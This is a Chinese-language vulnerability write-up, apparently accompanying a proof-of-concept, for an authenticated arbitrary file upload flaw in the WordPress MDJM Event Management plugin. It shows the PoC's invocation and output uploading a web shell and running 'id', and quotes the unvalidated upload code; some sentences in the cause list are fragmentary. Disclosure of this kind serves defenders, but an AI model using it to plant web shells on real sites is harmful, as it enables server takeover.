WordPress MDJM Event Management 插件(1.7.8.3 及更早版本)存在任意文件上传漏洞,允许已认证的管理员向服务器上传恶意 PHP 文件,进而可能导致远程代码执行。
提供了一个 POC CVE-2026-7537.py,用于演示已认证攻击者上传 shell.php 并执行远程代码:
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
该漏洞存在于通信功能中的 mdjm_send_comm_email() 函数中。上传功能在处理电子邮件通信的文件附件时缺乏适当的文件验证。这使得拥有 mdjm_comms_send 能力(默认为管理员和 MDJM 管理员)的已认证用户能够上传任意文件,包括可在服务器上执行的 PHP 文件。
源头:来自 $_FILES['mdjm_email_upload_file'] 的用户输入
汇聚点:comms-functions.php#L248 处的 move_uploaded_file($tmp_path, $file_path)
该漏洞产生的原因如下:
send_comms 能力的用户即可访问通信表单。mdjm_comms_send 能力授予拥有 manage_mdjm 权限的用户。mdjm_comms_send 能力 - 只有管理员才拥有。mdjm_process_actions() 函数进行处理。mdjm_send_comm_email() 函数。$_FILES['mdjm_email_upload_file'] 的用户可控文件数据在 处未经验证即被直接处理。文件:includes/admin/communications/comms-functions.php#L241-L251
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}
move_uploaded_file() 保存到 WordPress 上传目录(/wp-content/uploads/YYYY/MM/),且没有任何安全检查。